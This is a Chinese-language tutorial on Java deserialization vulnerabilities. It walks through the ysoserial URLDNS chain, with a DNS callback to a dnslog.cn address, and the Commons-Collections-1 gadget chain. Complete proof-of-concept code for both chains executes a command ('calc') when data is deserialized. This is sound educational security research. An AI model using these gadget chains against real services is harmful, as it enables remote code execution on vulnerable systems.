浅谈Java反序列化漏洞
文章首发于:
火线Zone社区(https://zone.huoxian.cn/)
本篇文章参考P神知识星球的《Java漫谈》系列文章,有条件的可以为p牛充电!(星球名:代码审计,我已经冲了)
然后推荐想初步理解java反序列化、并且深度了解一两个利用链的萌新,一步一步跟着文中在idea里调试理解每一步,不要求很快看完,可以收藏或者点赞后,慢慢看 , 希望能收获一点东西
然后大佬们可以退了,因为写的都是java反序列化很浅的东西,顺便别骂QAQ
Java序列化与反序列化
Java 提供了一种对象序列化的机制,该机制中,一个对象可以被表示为一个字节序列,该字节序列包括该对象的数据、有关对象的类型的信息和存储在对象中数据的类型。
整个过程都是 Java 虚拟机(JVM)独立的,也就是说,在一个平台上序列化的对象可以在另一个完全不同的平台上反序列化该对象。
序列化是这个过程的第一部分,将数据分解成字节流,以便存储在文件中或在网络上传输。反序列化就是打开字节流并重构对象。对象序列化不仅要将基本数据类型转换成字节表示,有时还要恢复数据。
其中类 ObjectInputStream 和 ObjectOutputStream 是高层次的数据流,它们包含反序列化和序列化对象的方法。
eg.
下面是一个简单的序列化、反序列化的代码:
package top.meta;import java.io.*;import java.util.HashMap;import java.util.Map;/** * @author taamr * @create 2022-04-29 14:35 */public class Serialize implements Serializable { // 必须实现Serializable接口 //serialVersionUID不写的话,idea会自动生成,赋予每个类不同的序列化UID private static final long serialVersionUID = -3066949856415001911L; private int id; private String name; public Serialize() { } public Serialize(int id, String name) { this.id = id; this.name = name; } private void writeObject (ObjectOutputStream s) throws IOException { s.defaultWriteObject(); s.writeObject("This is writeObject"); } private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException { s.defaultReadObject(); String s1 = (String) s.readObject(); System.out.println(s1); } public static void main(String[] args) throws IOException, ClassNotFoundException { Serialize serialize = new Serialize(1,"taamr"); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(serialize); objectOutputStream.close(); System.out.println(byteArrayOutputStream); ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray())); Serialize o = (Serialize) objectInputStream.readObject(); System.out.println( o.id+ "\n" + o.name ); } }
运行截图:
其中实现Serializable接口是表明当前类可以被序列化。
结合代码,先看main函数流程。
利用构造函数实例化Serialize类并赋值了id和name属性到serialize对象 ——>再通过ObjectOutputStream将serialize对象序列化输出字节流到了byteArrayOutputStream ——> 并且控制台输出了一下byteArrayOutputStream ——> 然后通过ObjectInputStream与ByteArrayInputStream反序列化了byteArrayOutputStream字节流取到了之前序列化的对象 ——> 最后输出了之前赋值的id与name两个属性
但是看控制台他是中间有多输出一个 "This is writeObject" ,那这个是什么时候输出的呢?
我们看这两个方法:
这里有一个特殊点,相比于php、python,Java提供了更灵活的方法 writeObject ,允许我们在序列化对象的时候插入一些自定义数据,并且在反序列化的时候能够使用 readObject 进行读取。
明白上述之后,就可以看出在我写的Serialize类中,我自定义了writeObject方法和readObject方法,让Serialize对象在默认序列化之后又增加写入了一串字符串的序列化数据,并且默认反序列化之后会把这个字符串读出来打印到控制台。
借P神的话说,Java设计 readObject 的思路和PHP的 _wakeup 不同点在于 :readObject 倾向于解决 “反序列化时如何还原一个完整对象” 这个问题,而PHP的 _wakeup 更倾向于解决“反序列化后如何初始化这个对象”的问题 。
那我要把readObject这么写呢
private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException { s.defaultReadObject(); Runtime.getRuntime().exec("calc"); }
运行:
当然,正常业务或者组件中的可序列化类是没有这种 ” 特殊的功能 “ 的。所以我们需要用两个或多个常用的组件构造一个利用链,能从readObject(或者ObjectInputStream.readUnshared、XMLDecoder.readObject、XStream.fromXML、ObjectMapper.readValue、JSON.parseObject等等,但是本文只讨论jdk只讨论ObjectInputStream.readObject)开始到经过有限步骤最后执行我们的恶意方法或命令结束。
反序列化漏洞
反序列化漏洞就是,暴露或间接暴露反序列化 API ,导致用户可以操作传入数据,攻击者可以精心构造反序列化对象并执行恶意代码。
在最早15年 Gabriel Lawrence 和 Chris Frohoff 公布了 Apache Commons Collections 反序列化远程命令执行漏洞的同时,公布了 ”反序列化漏洞利用神器“ ---ysoserial ,且在漏洞被发现的 9 个月后依然没有有效的 Java 库补丁来针对受到影响的产品进行加固 。各大网站争相报道为 —— “有史以来最被低估的漏洞” 。
下面分析 ysoserial 中的两个利用链,加深一下对Java反序列化漏洞的理解。
URLDNS链
简单分两部分来说,
第一部分:
这个链是HashMap反序列化时(执行readObject方法时)会从序列化流中读取它在序列化时写入的Node数组(实现Map.Entry接口的Map的内部类,Entry是描述一组键值对),再循环赋值给HashMap,来还原序列化之前的数据。赋值的时候调用的putVal方法,其中第一个参数是原HashMap对象中key(键)的hash值,计算这个hash值调用到key自己的hashCode方法。
第二部分:
URL对象的hashCode函数会在其hash值为 -1 时调用默认URLStreamHandler的hashCode方法重新计算hash值,这个方法计算hash值时会调用getHostAddress,getHostAddress里调用InetAddress类的getByName(下文忽略这步,虽然最后是在这步触发的,但是getByName本来功能就是解析域名,其实是懒得写了),触发DNS解析。
结合这两个部分就是URLDNS利用链。虽然整体看下来有点绕,但是下面会逐步分析。那在简单了解的情况下,说几点URLDNS链的特点和条件:
原生JDK中就有此链,并且不限版本,不限组件。简单理解,是因为HashMap从功能原理上来说,就是按key的hash值存储数据的散列表,且计算URL的hash值时就是需要其主机地址的(非必须,但是最好是有,减少哈希碰撞)。
此链比较适用于验证目标应用是否有反序列化漏洞或者是否出网。
恶意序列化数据需要一个HashMap,并且key值是url对象,其hashcode是 -1
下面开始一步一步构造我们的恶意序列化数据,并且逐步调试或进入URLDNS链中的每个关键方法
首先创建URL对象并且放入HashMap中
顺便我们进去看一下,url对象默认的hash值,和HashMap对象的put方法。
URL对象的默认Hash值就是 -1
HashMap中的put方法就已经调用了putVal方法,并且已经计算了Hash值。那我们先运行一下我们这三行其实就能发现,URLhash为 -1,也调用putVal了,也计算hash了,也已经触发DNS解析了,并且DNSLOG也有记录。(因为是边写边运行,每次运行的DNSLog的url可能都不一样,所以URL中的地址大家对照着实际的我画的框看就行)
从实际利用来看这样是不太行的,因为不能你构造时候就已经触发DNS解析了,发送到目标业务反序列化时候再解析一次,DNSLog里会有垃圾数据的。
那我们看看这一步ysoserial中的URLDNS链是怎么做的。
还记得上面分两部分说的第二部分不,里面说了“URL对象的hashCode函数会在其hash值为-1时调用默认URLStreamHandler的hashCode方法重新计算hash值”,这里面的URLStreamHandler就是ysoserial解决这个问题的重点。URL类在实例化对象的构造函数中有一个构造函数可以指定其URLStreamHandler。
ysoserial就是利用这个,在构造URL对象时,把默认的URLStreamHandler替换成了自己改写的子类SilentURLStreamHandler类。而这个类也很简单粗暴,直接把URLStreamHandler里有关解析连接的方法重写成了return null。
这样在我们把自己的url用put放入HashMap时,就不会有DNS解析了。(因为把触发点所在的getHostAddress直接写没用了,而且目标反序列化时还是会用默认的URLStreamHandler)
那我们把ysoserial中的这个子类复制过来 (站在巨人的肩膀上)再调试一下
可以看到,虽然不会有DNS解析了, 但是hash值还是会被改变的。那在ysoserial的URLDNS(翻到上面的图)画红框的最后一句,能看出来它是用自己包装的方法把u(也就是我们的url)的hashCode属性值给重新赋值成 -1 了 , 那我们自己动手丰衣足食利用反射也改一下url的hashCode(主要是把人家包装的全弄过来有点多余)
最后,我们就得到了我们需要序列化的hashMap。它满足了我们的几个必要条件,也就是一个HashMap,并且key值是url对象,其url是我们DNSLog的地址,并且我们还解决了一个问题(hashMap中put放入url对象是会触发DNS解析)
到现在为止我们的代码
然后先把hashmap序列化,运行一下,顺便看看之前对于hashMap.put放入数据就会解析DNS的问题有没有解决
看来问题已经解决,在我们构造恶意序列化数据时不会解析了
那我们试着反序列化一下 (上面其实反序列化的代码已经写好了,只是我注释掉了)
利用完成。利用链相关方法如下
首先第一步 :HashMap的readObject里调用了自身的hash方法 , 参数是key值(URL对象)
第二步:HashMap的hash方法 , 可以看出是key非空的情况下调用了key值自身的hashCode方法
第三步:URL对象的hashCode方法,在hashCode为 -1 的情况下调用了自身handler(默认是URLStreamHandler)的hashCode方法,参数是自身
第四步:URLStreamHandler类的hashCode方法中调用了自身的getHostAddress方法 ,参数是刚刚传进来的URL对象 , 然后在里面触发DNS解析
最后总结一下URLDNS链,精简一下是下面这样
HashMap.readObject -> HashMap.hash
HashMap.hash -> URL.hashCode
URL.hashCode -> URLStreamHandler.hashCode
URLStreamHandler.hashCode -> URLStreamHandler.getHostAddress
虽然看起来经过了5个函数调⽤,特别多的样子,但是在 Java反序列化利用链中已经算很少了。这还是我忽略掉了getHostAddress里用的InetAddress类的getByName方法。
PS:对于URLDNS链的小思考
HashMap反序列化时(readObject时)会将序列化时(writeObject时)写入的数据读出来,放入新构造的HashMap中以实现还原序列化之前的数据,下图可以看出调用了internalWriteEntries方法
然后建立Node数组(键值对数组)放入原数据
然后在readObject时读取并放入新的HashMap
这条链严格意义上不算漏洞,因为从功能需求上来讲,HashMap存储数据时(就像上面讲的),就是按Hash值存储的散列表,而且就因为是按Hash值来存储的,所以避免不了哈希碰撞,要尽可能的减少哈希碰撞的次数。而Java就是使⽤final对象,并采⽤各对象合适的equals⽅法和hashCode⽅法来减少Hash碰撞。而URL对象调用的URLStreamHandler类的hashCode方法就是一步一步分别计算URL的协议、Host、Port、路径、资源类型的Hash值,再累加计算出整个URL的Hash值的。
通俗理解一下,就是下面两个方法哪个更能减少哈希碰撞
你把url整个当成字符串来计算哈希值
各自分别计算哈希,最后算出哈希值
所以原生JDK中就有此链,并且不限版本,不限组件,而且也不会“修复”,因为这就是正常功能。
所以此链非常适用于验证目标应用是否有反序列化漏洞或者是否出网
附上本章节完整代码:
package top.meta;
import java.io.*;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
/**
* @author taamr
* @create 2022-04-2911:17
*/
public class URLDNS {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
URLStreamHandler urlStreamHandler = new SilentURLStreamHandler();
URL url = new URL(null, "https://4aqxl5.dnslog.cn",urlStreamHandler);
HashMap hashMap = new HashMap();
hashMap.put(url,"url");
Field field = url.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(url,-1);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(hashMap);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
Object o = objectInputStream.readObject();
}
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}
到这儿,如果一步一步都深入了解下来,自己也写代码调试运行了,那就算是入门Java反序列化漏洞啦,然后让我继续说下最经典的CC1链吧。
Common-Collections-1链
Apache Commons Collections是一个用来处理集合Collection的开源工具包。
CC1链需求的版本如下:
commons-collections3.1-3.2.1jdk8u71以下
commons-collections3.1-3.2.1的组建依赖,创建maven项目,导入一下依赖就行,我这里用的是3.2.1
commons-collections
commons-collections
3.2.1
jdk8u71以下去官网直接下载就行,我这里用的是jdk8u66,下载windows exe安装包安装就行,旧版本java不会默认添加环境变量,安装完把这个jdk添加到idea里就行,然后运行的配置里用上这个jdk
这是官网链接,ctrl+f 查找8u66就行 , 大家也可以多逛逛 ,其实能发现jdk的任意版本都能在相关分类里下载
Java Archive Downloads - Java SE 8 (oracle.com)
然后进入正题,先讲一下CC1链相关联的几个接口、类、方法
Transformer 接口 (Common Collection 包)
public interface Transformer { public Object transform(Object input); }
官方注释:
定义由将一个对象转换为另一个对象的类实现的函子接口。
转换器将输入对象转换为输出对象。输入对象应该保持不变。转换器通常用于类型转换,或从对象中提取数据。
有transform方法,这个方法就是上面提的 “输入对象转换为输出对象,转换器通常用于类型转换,或从对象中提取数据” 的需要具体实现的方法。
InvokerTransformer 类 (Common Collection 包)
官方注释:通过反射创建新对象实例的Transformer接口的实现类。
构造方法:
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { super(); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; }
可以看出InvokerTransformer 类有三个成员变量,iMethodName,iParamTypes,iArgs 、分别对应需要反射创建实例的方法名,参数类型,参数
然后实现的transform方法如下:
public Object transform(Object input) { if (input == null) { return null; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex); } }
就是将输入对象的方法(三个成员变量对应的)利用反射调用并执行。
简单实例化调用理解一下:
public class CC1 { public static void main(String[] args){ InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc"}); invokerTransformer.transform(Runtime.getRuntime()); } }
能看到InvokerTransformer的transform方法是需要传递实例化对象的,继续看下一个类
ConstantTransformer 类 (Common Collection 包)
官方注释: 每次返回相同常量(对象)的Transformer接口的实现类。
构造方法:
public ConstantTransformer(Object constantToReturn) { super(); iConstant = constantToReturn; }
传进去一个类,然后transform方法实现如下
public Object transform(Object input) { return iConstant; }
相当于无论接受什么参数,都返回新建对象时指定的iConstant成员变量对应的类。
ChainedTransformer 类 (Common Collection 包)
官方注释:将指定的Transformer实现类链接在一起的Transformer接口实现。输入对象被传递到第一个Transformer实现类的transform方法。transform后的结果被传递给第二个Transformer实现类的transform方法,以此类推
构造方法:
public ChainedTransformer(Transformer[] transformers) { super(); iTransformers = transformers; }
需要传入Transformer类的数组,再看一下它的transform方法:
public Object transform(Object object) { for (int i = 0; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; }
确实是如官方注释里说的一样,就是将输入传到第一个Transformer实现类的transform方法,然后结果传给下一个的transform方法,最后执行完返回结果。
构造命令执行
那我们先暂停一下,先将上面有关CC1链的几个类和方法用起来,先写个模拟的命令执行
首先创造Transformer数组,将命令执行所需要的方法和类传进去。
然后一步一步解析一下,这个Transformer数组,
首先是ConstantTransformer(Runtime.getRuntime()),第一个数据使用这个类,意图也很明显,就是把调用ChainedTransformer的transform时的参数给覆盖掉,怎么覆盖,就是利用ConstantTransformer的transform无论添加什么参数都返回实例化对象时指定的类。在上面图片里很明显就是Runtime.getRuntime()返回的Runtime这个类.
再创建一个InvokerTransformer用来调用Runtime的exec方法
然后将这个数组放入ChainedTransformer,最后调用其transform方法
成功执行命令。
那哪些类或者方法会调用到transform方法呢。目前看来是只要有东西能调用到我们构造的transformerChain的transform方法就可以利用,然后CC1链主要用到的是下面两个方法
1.LazyMap 类中的 get方法 , 这也是ysoserial中使用的
2.TransformedMap类中的 checkSetValue 方法 以及 put方法
TransformedMap 类(Common Collection 包)
那我们先从TransformedMap类开始分析一下
首先看一下TransformedMap的构造方法,是protected权限的,只能在当前Common Collection包里调用
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) { super(map); this.keyTransformer = keyTransformer; this.valueTransformer = valueTransformer; }
但是提供了静态方法返回一个TransformedMap对象
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); }
那我们先用put方法试一试,能看到他是对key和value都调用了各自的transform(),所以我们调用静态方法创建时把构造的transformerChain放入valueTransformer或者keyTransformer即可,并且需要一个map对象,因为TransformedMap主要是修饰Map的。
(下图是TransformedMap.put()方法中调用的transformKey()和transformValue(),就是不为空的情况下调用各自transform()方法)
拿到对象后put一下,无论填什么样的key,value,都能执行,因为在我们的transformerChain里第一个已经写死是常量(对象)getRuntime了
但是这个需要目标应用对反序列化后的数据还要put一下才能触发,所以还是得找readObject里头就开始的链,再试一下checkSetValue()方法,checkSetValue()也是protected权限的 , 所以我们得找一下那儿调用了这个方法 , 很快啊 , 就一个用法
点进去看就能发现是TransformedMap的父类AbstractInputCheckedMapDecorator中的内部类MapEntry的方法setValue
那我们就可以调用这个方法,执行transformerChain的transform()了 ,
这里有几个注意的点,要拿到AbstractInputCheckedMapDecorator中的内部类MapEntry,需要利用到AbstractInputCheckedMapDecorator类的其他内部类,一步一步调用,才能拿到MapEntry。
然后根据我英语四级300分的实力(菜的一批),我也能大概知道第一步transformedMap.entrySet()拿到的是entry的Set集合,第二步拿到Set集合的迭代器,第三步就是读集合,因为要用next()读集合,所以这个transformedMap不能为空,不然读不到就报异常了,也没有可用的entry,也就不能调用setValue了。(写了很久忘了有没有说entry就是一个键值对,map就是大体意义上的键值对的数组)
所以中间在用TransformedMap修饰之前,我put了一个无关紧要的元素,因为修饰之后再put就会触发transformerChain的transform(在上面已经试过了)
那有没有别的类或者方法调用了 Map.Entry.setValue 呢 这就要引出我们cc1链的入口AnnotationInvocationHandler类了。他是一个jdk中自带的类,且jdk8u71以下才能利用, 顾名思义就是注解调用时的处理类 , 并且实现了InvocationHandler接口的代理类(LazyMap那条gadget会利用到这个特性)
AnnotationInvocationHandler 类 (JDK API)
先看AnnotationInvocationHandler的构造函数,是默认权限,如果要创建实例对象,需要用到反射:
AnnotationInvocationHandler(Classextends Annotation> var1, Mapvar2) { Class[] var3 = var1.getInterfaces(); if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) { this.type = var1; this.memberValues = var2; } else { throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type."); } }
需要的两个参数,第一个必须是实现Annotation接口(java.lang.annotation)的注解类,赋值给type,第二个就是Map,传入我们的TransformedMap,赋值给membervalues,继续看readObject()方法
在AnnotationInvocationHandler类的readObject中,做了如下处理
特别注意的是虽然在最后有var5.setValue的调用(能够将我们的TransformedMap.checkSetValue()调用,触发),但是需要满足2个条件
Map不等于空,能看到while循环的var4.hasNext()就是用的我们的membervalues(我们的TransformedMap)的EntrySet的迭代器iterator
并且Map的key里必须要有我们传入的type(实现Annotation接口的注解类)类的成员方法的名字。这个在var2.memberTypes()里跟进去能看到,会返回memberTypes,memberTypes就是调用方法getInstance(this.type)获取var2时调用私有构造方法赋予的关于相关Annotation注解类信息的Map,key值是相关Annotation类的所有方法名,所以var7不等于null只能是,var3.get(var6) ,也就是var2的方法名作为key的Map里查找我们TransformedMap的key的值, 最后两个相对应才能进入var5.setValue)
第二点说难也难,说不难也有点理解不了,但是大家只要手动调试跟进去看一看就知道咋样才能让var7非空了
实现Annotation接口的注解类有下列这些,然后中有实际方法的只有图中标出的Repeatable、Retention、Target,并且方法名都是value():
我们想让var7非空,只要满足下面两个就行啦
TransformedMap修饰map前put一个key值为value。
实例化AnnotationInvocationHandler时第一个参数,填Repeatable、Retention、Target三个中的任意一个。
最后到目前关于cc1链呢 是知道TransformedMap + AnnotationInvocationHandler的利用构造了,可以着手构造一个poc了
构造TransformedMap + AnnotationInvocationHandler 的 CC1链POC
因为原理上面已经一步一步运行过了,所以直接贴用到的相关方法,精简的链如下:
AnnotationInvocationHandler.readObject() -> AbstractInputCheckedMapDecorator.EntrySet.EntrySetIterator.MapEntry.setValue()
AbstractInputCheckedMapDecorator.EntrySet.EntrySetIterator.MapEntry.setValue() ——> TransformedMap.checkSetValue()
TransformedMap.checkSetValue() ——> ChainedTransformer.transform()
ChainedTransformer.transform() ——> ConstantTransformer 和 InvokerTransformer 的 transform()
POC代码也直接贴下面,大家看注解了解就行了 , 感觉已经很臭很长了
package top.meta;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.InvocationTargetException;import java.util.HashMap;import java.util.Map;/** * @author taamr * @create 2022-04-2814:21 */public class CC1 { public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc"}), }; // Runtime是不可序列化的类,我们需要利用他的class来反射利用,因为Runtime.class实际使Class类,支持序列化 // 上面的Transformer数组相当于 Runtime.class.getMethod("getRuntime").invoke().exec("calc"); Transformer transformerChain = new ChainedTransformer(transformers); // 构造transformerChain完成 Map x = new HashMap<>(); x.put("value","1"); // put中的key值 value 是 对应的下面的Target类的value方法 (为了让var7非空) // 修饰为TransformedMap之前put减少误差 Map map = TransformedMap.decorate(x,null,transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true); InvocationHandler obj = (InvocationHandler) constructor.newInstance(Target.class,map); // 反射取出AnnotationInvocationHandler的构造器 , 实例化并放入我们的map // Target就是上面所说的 实现Annotation接口的类 /* 序列化中 */ ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(obj); objectOutputStream.close(); /* 序列化完毕 */ System.out.println(byteArrayOutputStream);//输出一下序列化的数据 /* 反序列化中 */ ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray())); Object o = objectInputStream.readObject(); /* 反序列化完毕 执行了calc命令 */ /* 也就是说目标机器有相关组件且版本对应的情况下,我们只要把序列化的数据传过去,对方objectInputStream.readObject()就能RCE */ } }
运行截图:
LazyMap 类 (Common Collection 包)
照例先看一下构造函数:
protected LazyMap(Map map, Factory factory) { super(map); if (factory == null) { throw new IllegalArgumentException("Factory must not be null"); } this.factory = FactoryTransformer.getInstance(factory); }
又是protected权限的,然后又提供了静态方法可以获取 , 很好啊 又是静态工厂方法
也是将一个map用Transformer修饰,这个Transformer就可以将transformerChain传进去当成员变量factory
public static Map decorate(Map map, Transformer factory) { return new LazyMap(map, factory); }
再看一下,调用transform的get方法 , 会执行factory.transform()
public Object get(Object key) { // create value for key if key is not currently in the map if (map.containsKey(key) == false) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
能看出来LazyMap 的作用是“懒加载”,在get找不到值的时候,它会调用 factory.transform 方法去获取一个值
那我们构造一下,执行get方法
继续关联到上面说的CC1链入口类AnnotationInvocationHandler,在其invoke方法switch的默认步骤里就有使用memberValues.get
说到invoke方法这里需要引入proxy的动态代理
动态代理
在java的java.lang.reflect包下提供了一个Proxy类和一个InvocationHandler接口,通过这个类和这个接口可以生成JDK动态代理类和动态代理对象。
这块我引用一下P神的讲解
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
Proxy.newProxyInstance 的第一个参数是ClassLoader,我们用默认的即可;第二个参数是我们需要 代理的对象集合;第三个参数是一个实现了InvocationHandler接口的对象,里面包含了具体代理的逻辑。比如,我们写这样一个类ExampleInvocationHandler:
package org.vulhub.Ser;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Method;import java.util.Map;public class ExampleInvocationHandler implements InvocationHandler { protected Map map; public ExampleInvocationHandler(Map map) { this.map = map; } @Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { if (method.getName().compareTo("get") == 0) { System.out.println("Hook method: " + method.getName()); return "Hacked Object"; } return method.invoke(this.map, args); } }
ExampleInvocationHandler类实现了invoke方法,作用是在监控到调用的方法名是get的时候,返回一 个特殊字符串 Hacked Object 。在外部调用这个ExampleInvocationHandler:
package org.vulhub.Ser;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;public class App { public static void main(String[] args) throws Exception { InvocationHandler handler = new ExampleInvocationHandler(new HashMap()); Map proxyMap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler); proxyMap.put("hello", "world"); String result = (String) proxyMap.get("hello"); System.out.println(result); } }
运行App,我们可以发现,虽然我向Map放入的hello值为world,但我们获取到的结果却是 Hacked Object
我们回看 AnnotationInvocationHandler ,会发现实际上这个类实际就是一个InvocationHandler,我们如果将这个对象用Proxy进行代理,那么在readObject的时候,只要调用任意方法,就会进入到 AnnotationInvocationHandler.invoke()方法中,进而触发我们的 LazyMap.get()方法
构造 LazyMap + AnnotationInvocationHandler 的CC1链POC
精简的链步骤如下:
AnnotationInvocationHandler.readObject() ——> 对Map的任意操作会进入AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.invoke() ——> LazyMap.get()
LazyMap.get() ——> ChainedTransformer.transform()
ChainedTransformer.transform() ——> ConstantTransformer 和 InvokerTransformer 的 transform()
POC代码:
package top.meta;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.annotation.Inherited;import java.lang.annotation.Native;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;/** * @author taamr * @create 2022-04-2814:21 */public class CC1 { public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc"}), }; Transformer transformerChain = new ChainedTransformer(transformers); Map x = new HashMap<>(); Map map = LazyMap.decorate(x,transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true); InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Native.class,map); // 反射取出AnnotationInvocationHandler的构造器 , 实例化invocationHandler // 因为是invoke()触发,不需要让var7非空, 所以上面实现Annotation接口的注解类里的6个用哪个都行 Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},invocationHandler); // 用invocationHandler 代理map类 , 获取被invocationHandler代理的proxyMap Object obj = constructor.newInstance(Inherited.class,proxyMap); // 再用AnnotationInvocationHandler修饰一下proxyMap 因为入口是AnnotationInvocationHandler.readObject /* 序列化中 */ ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(obj); objectOutputStream.close(); /* 序列化完毕 */ System.out.println(byteArrayOutputStream);//输出一下序列化的数据 /* 反序列化中 */ ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray())); Object o = objectInputStream.readObject(); /* 反序列化完毕 执行了calc命令 */ } }
Ysoserial中的CC1链
先放个截图:
能看出来Ysoserial 是用 LazyMap + AnnotationInvocationHandler 那条链的,而且执行上述我们自己的LazyMap的POC时有时会弹出两个计算器,是因为我们代理类的时候,已经将恶意transformers数组放进去了,所以在后面再修饰、或者进行其他操作时有对map的操作都会执行一次(我调试的时候有一次弹了4个)。Ysoserial中很好的把这个问题解决了,就是等一切操作完成后再用反射把对应的transformers数组替换。这里大家可以在刚刚的POC基础上自己试一试。写URLDNS链的时候我就弄过一次。
然后transformers数组中最后一个ConstantTransformer(1) ,据p牛所说,是在隐藏日志里的特征信息,因为正常LazyMap的POC会报java.lang.ProcessImpl cannot be cast to java.util.Set , 而Ysoserial会报java.lang.Integer cannot be cast to java.util.Set 。
实际上,我想了很久,TransformedMap 和 LazyMap 两条链的不同之处,只在于触发点不一样,一个在setValue , 一个在get ,当然中间也有很多不一样 , 但是可利用性方面是一样的。所以我觉得可能也只是 Gabriel Lawrence 和 Chris Frohoff 更喜欢LazyMap所以用的LazyMap , 这块就求大佬指点了
总结
如果有很认真的萌新同学、或者刚了解的童鞋,一步一步看到这,肯定对java反序列化漏洞有了一个大方向上的认识、概念,已经可以靠自身去看更多的链,甚至魔改链、魔改Ysoserial、自己找链。自己能找到链肯定是最好的,毕竟一个CVE啊 哈哈哈哈 菜鸡大笑,终于写完了 。( 放个屁:不过我得一直学别人做过的东西到啥时候呀,啥时候才能自己有新的东西)
最后,由衷地感谢读到这里的每位朋友。
团队博客:www.meta-sec.top